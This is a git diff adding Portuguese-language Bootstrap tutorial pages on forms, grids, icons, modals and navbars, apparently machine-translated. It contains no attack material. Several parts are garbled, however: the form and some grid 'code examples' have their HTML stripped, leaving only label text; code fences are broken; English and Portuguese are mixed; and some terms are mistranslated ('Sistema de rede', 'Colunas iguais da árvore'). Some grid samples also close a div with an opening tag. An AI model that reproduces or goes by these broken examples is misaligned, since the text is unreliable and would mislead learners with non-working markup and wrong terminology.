+O rótulo `for` atributo **sempre faz** referência ao campo de entrada por seu **ID** . Isso informa ao leitor de tela que este rótulo é definitivamente para este campo de entrada que minimizará a confusão para qualquer usuário que esteja usando um leitor de tela para visitar um site.
+
+### Mais Informações:
+
+Exemplos de código são de [W3Schools - Bootstrap Form Inputs](https://www.w3schools.com/bootstrap/bootstrap_forms_inputs.asp) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/forms/index.md b/client/src/guide/portuguese/bootstrap/forms/index.md
new file mode 100644
index 0000000000..b079a30dda
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/forms/index.md
@@ -0,0 +1,111 @@
+---
+title: Forms
+localeTitle: Formulários
+---
+## \## Forms
+
+A estrutura do Bootstrap fornece um recurso de formulário que um programador pode usar para criar facilmente formulários HTML bonitos. O uso do formulário de bootstrap fornece a cada elemento de formulário individual um estilo global unificado. Formulário Bootstrap adiciona o espaçamento certo e olha para cada elemento.
+
+Cada elemento de formulário de bootstrap deve ter um _controle de formulário de_ classe. Essa classe é como o bootstrao sabe quais elementos devem ser estilizados. Todos os elementos textuais como **input,** **textarea** e **selecione** que tem classe _de controle de formulário_ terá% largura de 100 por padrão. Existem dois tipos de formulários do Bootstrap, que são:
+
+*   Formulário embutido - cria o formulário em uma única linha. Útil para formulários de login em uma barra de navegação
+*   Formulário horizontal - cria um formulário com cada elemento em uma linha diferente
+
+## Exemplo de uma forma básica
+
+\`\` \`html
+
+Endereço de e-mail 
+
+Senha 
+
+Entrada de arquivo 
+
+Exemplo de texto de ajuda em nível de bloco aqui.
+
+ Olhe para mim 
+
+Enviar
+```
+## Example of an inline form 
+```
+
+html
+
+Nome 
+
+O email 
+
+Enviar convite
+```
+## Example of horizontal form 
+```
+
+html
+
+O email
+
+Senha
+
+ Lembre de mim 
+
+assinar em
+```
+![Inline Form 2](https://github.com/TroyB12/Pictures/blob/master/Inline%20Form2.PNG) 
+```
+
+html
+
+Quantidade (em dólares)
+
+$
+
+.00
+
+Transferir dinheiro
+```
+Bootstrap forms allow the programmer to use classes to easily make HTML forms presentable and responsive. 
+ Take the following simple form: 
+ 
+ ![](https://siamcomm.com/wp-content/uploads/2017/10/Forms-·-Bootstrap.png) 
+```
+
+html
+
+Endereço de e-mail  Nós nunca vamos compartilhar seu e-mail com mais ninguém.
+
+Senha 
+
+ Olhe para mim 
+
+Enviar
+```
+Individual form fields and the associated label should be wrapped in a `<div>` with a class of `form-group`. One exception to this is when using checkbox field where `form-check` should be used instead of `form-group`. 
+ 
+ The `<input>` tag should be given a class of `form-control`. 
+ 
+ The `<button>` tag should be given the classes of `btn btn-primary`. 
+ 
+ #### More Information: 
+ <!-- Please add any articles you think might be helpful to read before writing the article --> 
+ [The official BootStrap documentation is very helpful](http://getbootstrap.com/docs/4.0/components/forms/) 
+ 
+ ![Inline Form 3](https://github.com/TroyB12/Pictures/blob/master/Inline%20Form3.PNG) 
+ 
+ #### Horizontal Form 
+ In combination with Bootstrap's predefined grid classes to align labels and groups of form controls in a horizontal layout by adding `.form-horizontal` to the form. Doing so changes `.form-group`s to behave as grid rows, so no need for `.row`. 
+```
+
+html
+
+O email
+
+Senha
+
+ Lembre de mim 
+
+assinar em
+
+\`\` \`
+
+![Forma Horizontal](https://github.com/TroyB12/Pictures/blob/master/Horizontal%20Form.PNG)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/get-started/index.md b/client/src/guide/portuguese/bootstrap/get-started/index.md
new file mode 100644
index 0000000000..28e9d317d3
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/get-started/index.md
@@ -0,0 +1,38 @@
+---
+title: Get Started
+localeTitle: Iniciar
+---
+## Iniciar
+
+Bootstrap é uma estrutura de código aberto e livre desenvolvida pelo Twitter, que fornece uma variedade de modelos para uso com o desenvolvimento web frontend. O uso do Bootstrap facilita a criação de um website totalmente responsivo e é um framework que vale a pena aprender.
+
+#### O que é um site responsivo
+
+Um site responsivo é um site que redimensiona e reorganiza esses itens na página, dependendo do tamanho do navegador. Com um site responsivo, se você redimensionar seu navegador, poderá ver as alterações ocorrendo em tempo real. Bootstrap faz seu site responsivo para você.
+
+#### Como adiciono o Bootstrap à minha página
+
+Adicionar bootstrap à sua página é um processo rápido, basta adicionar o seguinte às tags `<head>` no seu código.
+
+```html
+
+<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> 
+```
+
+Você também precisará adicionar o seguinte entre as tags `body` em seu código. Com o bootstrap você estará usando tags `<div>` quando usar muitos dos recursos do Bootstrap, cada tag terá seu próprio conjunto de classes aplicadas que permite que a tag execute sua tarefa. Outras seções deste guia do Bootstrap mostrarão mais exemplos de como o Bootstrap usa tags `<div>` . (As tags `<div>` não são exclusivas do Bootstrap, entretanto o Bootstrap faz uso delas.). Abaixo está o código que seria adicionado às tags `body` em seu código para concluir os primeiros passos. Lembre-se de que, embora isso crie o contêiner, a página permanecerá em branco até você adicionar conteúdo ao contêiner.
+
+```html
+
+<div class="alert alert-success" role="alert"> 
+    <strong>Congratulations!</strong> 
+    <p>Bootstrap is now working on this page</p> 
+ </div> 
+```
+
+**Parabéns!**
+
+Bootstrap está trabalhando agora nesta página
+
+#### Mais Informações
+
+*   [Site oficial do Bootstrap](http://getbootstrap.com/getting-started/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/glyphicon-components/index.md b/client/src/guide/portuguese/bootstrap/glyphicon-components/index.md
new file mode 100644
index 0000000000..90ef6d3573
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/glyphicon-components/index.md
@@ -0,0 +1,26 @@
+---
+title: Glyphicon Components
+localeTitle: Componentes de glifo
+---
+## Componentes de glifo
+
+O Bootstrap 3 inclui 260 glyphicons. Os glifos normalmente não são gratuitos, mas o criador os disponibilizou gratuitamente para o Bootstrap. Como um agradecimento, você deve incluir um link para o Glyphicons sempre que possível.
+
+Use glifos em texto, navegação, botões, formulários ou barras de ferramentas.
+
+## Exemplos
+
+```html
+
+<p>Star icon: <span class="glyphicon glyphicon-star"></span></p> 
+ <p>Refresh icon: <span class="glyphicon glyphicon-refresh"></span></p> 
+ <p>Envelope icon: <span class="glyphicon glyphicon-envelope"></span></p> 
+```
+
+## Nota
+
+O Bootstrap 4 caiu Glyphicons. Você pode usar [ícones de fonte impressionante em](http://fontawesome.io/icons/) vez disso.
+
+#### Mais Informações:
+
+[Oficial Bootstrap 3 docs em Glyphicons](https://getbootstrap.com/docs/3.3/components/#glyphicons) [Site oficial de glifos](https://glyphicons.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/grid-examples/index.md b/client/src/guide/portuguese/bootstrap/grid-examples/index.md
new file mode 100644
index 0000000000..b9b7329b66
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/grid-examples/index.md
@@ -0,0 +1,116 @@
+---
+title: Grid Examples
+localeTitle: Exemplos de grade
+---
+## Exemplos de grade
+
+#### Colunas iguais da árvore
+
+```html
+
+<div class="container"> 
+  <div class="row"> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+  </div> 
+ </div> 
+```
+
+O exemplo acima cria três colunas de largura igual em dispositivos pequenos, médios, grandes e extra grandes usando nossas classes de grade predefinidas. Essas colunas estão centralizadas na página com o `.container` pai.
+
+#### Três colunas desiguais
+
+```html
+
+ <div class="row"> 
+  <div class="col-sm-3">.col-sm-3</div> 
+  <div class="col-sm-6">.col-sm-6</div> 
+  <div class="col-sm-3">.col-sm-3</div> 
+ </div> 
+```
+
+#### Duas colunas desiguais
+
+```html
+
+ <div class="row"> 
+  <div class="col-sm-4">.col-sm-4</div> 
+  <div class="col-sm-8">.col-sm-8</div> 
+ </div> 
+```
+
+#### Duas colunas com duas colunas aninhadas
+
+```html
+
+ <div class="row"> 
+  <div class="col-sm-8"> 
+    .col-sm-8 
+    <div class="row"> 
+      <div class="col-sm-6">.col-sm-6</div> 
+      <div class="col-sm-6">.col-sm-6</div> 
+    </div> 
+  </div> 
+  <div class="col-sm-4">.col-sm-4</div> 
+ </div> 
+```
+
+#### Móveis mistos e desktop
+
+\`\` \`html
+
+.col-xs-7 .col-sm-6 .col-lg-8
+
+.col-xs-5 .col-sm-6 .col-lg-4
+
+.col-xs-6 .col-sm-8 .col-lg-10
+
+.col-xs-6 .col-sm-4 .col-lg-2
+```
+#### Clear Floats 
+ 
+ Clear floats (with the `.clearfix` class) at specific breakpoints to prevent strange wrapping with uneven content: 
+```
+
+html
+
+Coluna 1 Redimensione a janela do navegador para ver o efeito.
+
+Coluna 2
+
+Coluna 3
+
+Coluna 4
+```
+#### Offsetting Columns 
+ Move columns to the right using `.col-md-offset-*` classes. These classes increase the left margin of a column by * columns: 
+```
+
+html
+
+.col-sm-5 .col-md-6
+
+.col-sm-5 .col-sm-deslocamento-2 .col-md-6 .col-md-offset-0
+```
+#### Push And Pull - Change Column Ordering 
+ Change the order of the grid columns with `.col-md-push-*` and `.col-md-pull-*` classes: 
+```
+
+html
+
+.col-sm-4 .col-sm-push-8
+
+.col-sm-8 .col-sm-pull-4
+
+\`\` \`
+
+#### Mais Informações:
+
+[Grade de inicialização](https://getbootstrap.com/docs/4.0/layout/grid/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/grid-system/index.md b/client/src/guide/portuguese/bootstrap/grid-system/index.md
new file mode 100644
index 0000000000..aa4362eb82
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/grid-system/index.md
@@ -0,0 +1,171 @@
+---
+title: Grid System
+localeTitle: Sistema de rede
+---
+## Sistema de rede
+
+Em suma, o sistema de grade Bootstrap ajuda você a criar layouts responsivos, é composto por um sistema de linhas e colunas que ajuda a estruturar seu conteúdo.
+
+As linhas são grupos horizontais de colunas, com um máximo de 12 colunas por linha. Dentro de cada linha, o conteúdo é colocado dentro das colunas e pode variar entre 1 a 12 colunas.
+
+O Bootstrap tem cinco tipos diferentes de camadas de grade: Extra pequeno, Pequeno, Médio, Grande e Extra grande, há um ponto de interrupção definido para cada um desses níveis de grade.
+
+O Bootstrap usa pixels para definir os pontos de interrupção da camada da grade, as diferentes larguras da janela de visualização que atuam como pontos de interrupção para as camadas da grade são:
+
+#### Como funciona
+
+###### Recipiente
+
+O contêiner é o elemento mais externo que _conterá_ sua grade, use o `container` para um contêiner de largura fixa no meio da tela (margem extra em telas maiores) ou o `container-fluid` para largura total.
+```
+<div class="container"></div> 
+```
+
+###### Linha
+
+Use a `row` para agrupar suas colunas, isso manterá tudo alinhado corretamente e ajudará a estruturar sua grade.
+```
+<div class="row"></div> 
+```
+
+###### Colunas
+
+Classes de colunas indicam o número de colunas que você gostaria de usar, dentre as possíveis 12 por linha. Por exemplo, `col-sm-6` significaria que sua coluna usaria metade da largura da `row` em uma tela pequena, e `col-lg-4` consumiria um terço em uma tela grande.
+
+Aqui está como você definiria um prefixo de classe para usar uma largura de coluna nos vários tamanhos de tela:
+
+*   **Extra Pequeno** `col-1`
+*   **Pequeno** `col-sm-1`
+*   `col-md-1` **médio**
+*   **Grande** `col-lg-1`
+*   **Extra grande** `col-xl-1`
+```
+<div class="col-sm-1"></div> 
+```
+
+#### Exemplo
+
+Uma grade de largura total com quatro colunas, cada uma ocupando uma linha completa em xs, meia linha em telas sm e md e um quarto da largura da linha em telas grandes e acima.
+```
+<div class="container-fluid"> 
+  <div class="row"> 
+    <div class="col-12 col-sm-6 col-lg-4">First Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Second Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Third Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Forth Column</div> 
+  </div> 
+ </div> 
+```
+
+_Note que `col-md` e `col-xl` não estão definidos, onde um tamanho não é definido, ele será padronizado até o próximo tamanho menor que foi especificado._
+
+O Bootstrap fornece um sistema de grade de 12 colunas pronto para uso em layouts. Considere o seguinte código.
+
+```html
+
+   <div class="container"> 
+    <div class="row"> 
+        <div class="col-md-6">Content</div> 
+        <div class="col-md-6">Content</div> 
+    <div> 
+   </div> 
+```
+
+Onde:
+```
+- col = column 
+ - md = screen size 
+ - 6 = column width 
+```
+
+Como um sistema de grade de 12 colunas, todas as larguras de colunas da grade definidas pelo usuário devem totalizar 12.
+
+Os valores de tamanho da tela podem ser atribuídos da seguinte forma:
+
+*   xs - <768px telefones
+    
+*   sm - <992px comprimidos
+    
+*   md - <1200px Laptops
+    
+*   lg -> desktops de 1200px
+    
+    O Bootstrap é móvel primeiro e responsivo.
+    
+    Móvel primeiro significa que o layout da grade responderá automaticamente a telas menores. O HTML define o layout da grade para telas maiores.
+    
+
+O código e a imagem a seguir mostram o que é possível usando diferentes larguras de coluna.
+
+```html
+
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-6">Content</div> 
+            <div class="example col-md-6">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-4">Content</div> 
+            <div class="example col-md-4">Content</div> 
+            <div class="example col-md-4">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+        </div> 
+    </div> 
+```
+
+![Grade 12-col](https://github.com/bflatt72/bflatt72.github.io/blob/master/img/bootstrapgrid1.png)
+
+#### Mais Informações:
+
+[Bootstrap Docs - Sistema Grid](https://getbootstrap.com/docs/4.0/layout/grid/)
+
+_Este guia é baseado no Bootstrap v4 (ele funcionará com a v3, exceto telas extras pequenas são definidas como `xs` e não há tamanho `xl` )_
+
+*   Extra grande: **largura da janela de visualização> = 1200 px**
+*   Grande: **largura da janela de visualização> = 992 px**
+*   Médio: **largura da janela de visualização> = 768 px**
+*   Pequeno: **largura da janela de visualização> = 576 px**
+*   Extra pequeno: **larguras de porta de visualização abaixo de 576 px**
+
+#### Mais Informações:
+
+https://getbootstrap.com/docs/4.0/layout/grid/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/icons/index.md b/client/src/guide/portuguese/bootstrap/icons/index.md
new file mode 100644
index 0000000000..6f63c28558
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/icons/index.md
@@ -0,0 +1,52 @@
+---
+title: Icons
+localeTitle: Ícones
+---
+## Ícones
+
+A estrutura do Bootstrap fornece Glyphicons para o ícone. O Bootstrap não inclui uma biblioteca de ícones por padrão, mas tem algumas recomendações para você escolher. Embora a maioria dos conjuntos de ícones inclua vários formatos de arquivo, preferimos implementações de SVG para sua melhor acessibilidade e suporte a vetores.
+
+### Como usar
+
+Para usar o ícone Bootstrap, crie uma tag de span com o `glyphicon` classe base e a classe de ícones individual. Use-o somente em elementos que não contenham conteúdo de texto e não tenham elementos filhos.
+
+**Exemplo de código:**
+
+`<span class="glyphicon glyphicon-search" aria-hidden="true"></span>`
+
+`<span class="glyphicon glyphicon-cog"></span>`
+
+A estrutura do Bootstrap fornece mais de 250 ícones chamados glifos. Eles vêm em formato de fonte do conjunto Glyphicon Halflings.
+
+### Como usar
+
+Para usar ícones de bootstrap, basta criar a tag `<span>` e aplicar a classe CSS aplicável ao ícone. Um exemplo de código foi fornecido abaixo.
+
+**Exemplo de código:**
+
+`<span class="glyphicon glyphicon-search" aria-hidden="true"></span>`
+
+### Lista de Classes de Bootstrap Glyphicon
+
+Este é um exemplo das classes CSS que o bootstrap fornece para glyphicons. Mais deles é avalible [aqui](https://getbootstrap.com/docs/3.3/components/#glyphicons)
+
+`.glyphicon glyphicon-plus` Este é o ícone de adição / adição do bootstrap.
+
+`.glyphicon glyphicon-trash` Este é o ícone de lixo / eliminação do bootstrap.
+
+_Nota: Não inclua o ponto no Atributo de Classe HTML, referindo-se às classes com um ponto só é usado ao ajustar as classes em CSS._
+
+### Bootstrap Icon in Buttons
+
+```html
+
+  <button type="button" class="btn btn-default" aria-label="Left Align"> 
+    <span class="glyphicon glyphicon-align-left" aria-hidden="true"></span> 
+  </button> 
+```
+
+_Nota: O ícone Glyphicons do Bootstrap não está disponível no bootstrap V4_
+
+### Mais Informações:
+
+*   [Bootstrap Glyphicons ícones Doc](https://getbootstrap.com/docs/3.3/components/#glyphicons)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/index.md b/client/src/guide/portuguese/bootstrap/index.md
new file mode 100644
index 0000000000..b14f3048b1
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/index.md
@@ -0,0 +1,82 @@
+---
+title: Bootstrap
+localeTitle: Bootstrap
+---
+## Bootstrap
+
+Bootstrap é uma estrutura de front-end popular para desenvolvimento web. Ele contém componentes pré-construídos e elementos de design para estilizar o conteúdo HTML. Os navegadores modernos, como Chrome, Firefox, Opera, Safari e Internet Explorer, suportam o Bootstrap.
+
+O Bootstrap inclui um sistema de grade responsivo para layouts variados. É um excelente ponto de partida para a criação de um website compatível com dispositivos móveis. Também inclui funcionalidades opcionais de JavaScript, como conteúdo recolhível, carrosséis e modais.
+
+#### Histórico de versões
+
+O Twitter desenvolveu originalmente o framework Bootstrap como uma ferramenta interna. Eles lançaram isso como um projeto de código aberto em agosto de 2011.
+
+O Bootstrap 2 foi lançado em janeiro de 2012. Uma das principais características foi a introdução do sistema de grade responsivo de 12 colunas. O Bootstrap 3 surgiu em agosto de 2013, mudando para um design plano e uma abordagem mobile-first. O Bootstrap 4 está disponível em versão beta a partir de agosto de 2017 e agora inclui Sass e Flexbox.
+
+O Bootstrap 4 estava em desenvolvimento por dois anos antes de lançar algumas versões beta durante 2017, enquanto o primeiro lançamento estável foi lançado em janeiro de 2018. Algumas mudanças notáveis ​​incluem:
+
+*   Movido de Less para Sass;
+*   Movido para o Flexbox e sistema de grade melhorado;
+*   Cartões adicionados (substituindo poços, miniaturas e painéis);
+*   E muito mais!
+
+No momento da escrita, o último lançamento do Bootstrap é \[4.1.3\] (http://blog.getbootstrap.com/2018/07/24/bootstrap-4-1-3/ ). Se você gostaria de acompanhar todas as novidades de anúncios, siga-as [aqui](http://blog.getbootstrap.com/) .
+
+#### Instalação
+
+Existem duas opções principais para adicionar o Bootstrap ao seu projeto da web. Você pode vincular-se a fontes disponíveis publicamente ou baixar a estrutura diretamente.
+
+##### Vinculando a outra fonte
+
+Você pode adicionar CSS Bootstrap usando um elemento `<link>` dentro da `<head>` da sua página da Web que faz referência a uma Content Delivery Network (CDN):
+
+`<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">`
+
+Adicionar os elementos JavaScript do Bootstrap é semelhante aos elementos `<script>` normalmente colocados na parte inferior do seu ' tag. Você pode precisar incluir algumas dependências primeiro. Preste atenção especial ao pedido listado:
+
+```html
+
+<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> 
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> 
+ <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> 
+```
+
+_Nota: Estes são apenas exemplos e podem ser alterados sem aviso prévio. Por favor, consulte um CDN para links atuais para incluir em seu projeto._
+
+##### Download / Instalação
+
+Você pode baixar e instalar os arquivos de código-fonte do Bootstrap com Bower, Composer, Meteor ou npm. Isso permite maior controle e a opção de incluir ou excluir módulos conforme necessário.
+
+`npm install bootstrap`
+
+`gem 'bootstrap', '~> 4.1.3'`
+
+\_Nota: Estes são apenas exemplos e podem ser alterados sem aviso prévio. Por favor, consulte o [site](https://getbootstrap.com/) \_ [Bootstrap](https://getbootstrap.com/) \_ para os links mais atualizados.\_
+
+#### O sistema de grade de inicialização
+
+O sistema de grade é um sistema de flexbox para dispositivos móveis, para criar rapidamente layouts de todas as formas e tamanhos adequados em todos os dispositivos. Ele é baseado em um layout de 12 colunas e tem vários níveis, um para cada intervalo de consulta de mídia.
+
+O Bootstrap vem com classes de grade predefinidas para seu uso na marcação. Veja mais detalhes e exemplos em https://getbootstrap.com/docs/4.1/layout/grid/
+
+### Recursos do Boostrap
+
+*   O Bootstrap 3 suporta as versões mais recentes do Google Chrome, Firefox, Internet Explorer, Opera e Safari (exceto no Windows). Ele também suporta o IE8 e o mais recente ESR (Firefox Extended Support Release). \[12\]
+    
+*   Desde o 2.0, o Bootstrap suporta design web responsivo. Isso significa que o layout das páginas da web se ajusta dinamicamente, levando em conta as características do dispositivo usado (desktop, tablet, celular).
+    
+*   Começando com a versão 3.0, o Bootstrap adotou uma filosofia de design móvel, enfatizando o design responsivo por padrão.
+    
+*   A versão 4.0 adicionou suporte ao Sass e flexbox
+    
+
+#### Mais Informações:
+
+O Bootstrap tem uma documentação completa com muitos [exemplos](https://getbootstrap.com/docs/4.0/examples/) e um [modelo HTML para começar](https://getbootstrap.com/docs/4.0/getting-started/introduction/) (este modelo só tem script incluído; ele não contém uma configuração do sistema de grade, se é isso que você está procurando).
+
+Além disso, você pode encontrar tanto [gratuitos](https://bootswatch.com/) quanto [pagos](https://themes.getbootstrap.com/) temas que se baseiam no framework Bootstrap para fornecer uma aparência mais personalizada e elegante.
+
+#### Recursos do Bootstrap:
+
+[Blog oficial do Bootstrap](http://blog.getbootstrap.com/) [Inspiração do site Bootstrap](http://expo.getbootstrap.com/) [Mostra de sites construídos usando o Bootstrap](http://builtwithbootstrap.com/) [HTML linter para projetos usando Bootstrap](https://github.com/twbs/bootlint) [Elementos de design e trechos de código para o Bootstrap](https://bootsnipp.com/) [Código, tema e recursos adicionais para o Bootstrap](http://expo.getbootstrap.com/resources/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/modals/index.md b/client/src/guide/portuguese/bootstrap/modals/index.md
new file mode 100644
index 0000000000..79c821ba89
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/modals/index.md
@@ -0,0 +1,89 @@
+---
+title: Modals
+localeTitle: Modais
+---
+## Modais
+
+Os modais são pop-ups para fornecer informações importantes antes de continuar.
+
+Para criar tais diálogos / pop-ups no topo da página atual, o Bootstrap fornece o plugin Modal.
+
+#### Exemplo de código:
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <meta charset="utf-8"> 
+    <meta name="viewport" content="width=device-width"> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> 
+ 
+ <!-- jQuery library --> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> 
+ 
+ <!-- Latest compiled JavaScript --> 
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 
+ </head> 
+ 
+  <body> 
+ 
+ <!-- Triggering the modal popup --> 
+   <button type="button" class="btn btn-default" data-toggle="modal" data-target="#myModal">Open Modal</button> 
+ 
+  <!-- Modal popup --> 
+ 
+   <div class="modal fade" id="myModal"> 
+       <div class="modal-dialog"> 
+ 
+  <!-- Modal Content --> 
+            <div class="modal-content"> 
+              <div class="modal-header"> 
+                <button  type="button" data-dismiss="modal" class="close">&times;</button> 
+                <h4 class="modal-title">Modal Header</h4> 
+              </div> 
+ 
+              <div class="modal-body"> 
+                Do you wish to continue? 
+              </div> 
+ 
+              <div class="modal-footer"> 
+                <button class="btn btn-default"  data-dismiss="modal">close</button> 
+              </div> 
+ 
+            </div> 
+        </div> 
+ 
+   </div> 
+ 
+ </body> 
+ </html> 
+```
+
+#### Entendendo os Atributos e Classes Utilizados:
+
+a) `data-toggle = "modal"` : Abre o modal.
+
+b) `data-target` : aponta para o ID do modal a abrir.
+
+c) `data-dismiss="modal"` : Isso faz com que o pop-up feche quando clicado no botão fechar.
+
+d) `.modal` classe identifica o conteúdo de `<div>` como um modal.
+
+e) `.modal-dialog` class configura a altura e a largura apropriadas da caixa de diálogo.
+
+f) `.modal-content` class o modal.Ele contém seções de cabeçalho, corpo e rodapé.
+
+g) `.modal-header` class denota a seção de cabeçalho do modal (título e botão (×)).
+
+h) `.modal-title` o cabeçalho do modal com uma altura adequada.
+
+i) `.modal-body` classifica o corpo do modal (dialog / popup). Ele pode ter outras marcações como `<p>,<img>,<video>` etc.
+
+j) `.modal-footer` class styles o rodapé do modal.
+
+#### Mais Informações :
+
+[Bootstrap Modal](https://bootstrapbay.com/blog/working-bootstrap-modal/)
+
+Se você quiser explorar o **__Bootstrap 4.0 Latest (versão Alpha)__** : [Bootstrap Modal v4.0](https://getbootstrap.com/docs/4.0/components/modal/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/navigation-bar/index.md b/client/src/guide/portuguese/bootstrap/navigation-bar/index.md
new file mode 100644
index 0000000000..7a30bd93c0
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/navigation-bar/index.md
@@ -0,0 +1,179 @@
+---
+title: Navigation Bar
+localeTitle: Barra de navegação
+---
+## Barra de navegação
+
+A estrutura do Bootstrap fornece uma barra de navegação de chamada de recurso. Resumindo, uma barra de navegação (também chamada de navbars) é um cabeçalho na parte superior da página para exibir informações de navegação.
+
+#### Como usar
+
+Para usar as barras de navegação do Bootstrap, você adiciona um elemento `<nav>` ao topo dentro do elemento `<body>` da sua página da web. Existem vários estilos que você pode adicionar para personalizar a exibição de suas barras de navegação.
+
+#### Exemplo de código
+
+Este é o código necessário para criar uma barra de navegação básica.
+
+```html
+
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### Estilos de Navbar
+
+O Bootstrap fornece um conjunto de classes na estrutura do Bootstrap para estilizar suas navbars. Essas classes são as seguintes:
+
+*   `navbar navbar-default` Este é o estilo padrão para suas navbars.
+*   `navbar navbar-inverse` É semelhante ao estilo padrão, exceto que as cores são invertidas.
+
+#### Adicionando menus suspensos à barra de navegação
+
+Você pode incluir um menu suspenso dentro de uma barra de navegação. Esse recurso exige que você inclua o arquivo javascript do Bootstrap para que ele funcione.
+
+```html
+
+<li class="dropdown"> 
+  <a class="dropdown-toggle" data-toggle="dropdown" href="#">Drop down 
+    <span class="caret"></span> 
+  </a> 
+ <ul class="dropdown-menu"> 
+    <li><a href="#">Item 1</a></li> 
+    <li><a href="#">Item 2</a></li> 
+    <li><a href="#">Item 3</a></li> 
+  </ul> 
+ </li> 
+```
+
+#### Adicionando botões à barra de navegação
+
+Você pode adicionar botões na barra de navegação. As classes existentes do Botão Bootstrap funcionam, no entanto, você precisará incluir a classe `navbar-btn` no final da lista de classes.
+
+```html
+
+<button class="btn navbar-btn">Button</button> 
+```
+
+#### Adicionando formulários à barra de navegação
+
+Você também pode adicionar formulários à barra de navegação. Isso pode ser usado para tarefas como um campo de pesquisa, um campo de login rápido, etc.
+
+```html
+
+<form class="navbar-form navbar-right"> 
+  <div class="form-group"> 
+      <input type="text" class="form-control" placeholder="Search"> 
+  </div> 
+  <button type="submit" class="btn btn-default">Search</button> 
+ </form> 
+```
+
+#### Alinhando elementos à direita na barra de navegação
+
+Em alguns casos, você pode querer alinhar elementos em uma barra de navegação à direita (por exemplo, um botão de login ou inscrição). Para fazer isso, você precisará usar a classe `navbar-right` da `navbar-right` .
+
+```html
+
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+    <ul class="nav navbar-nav navbar-right"> 
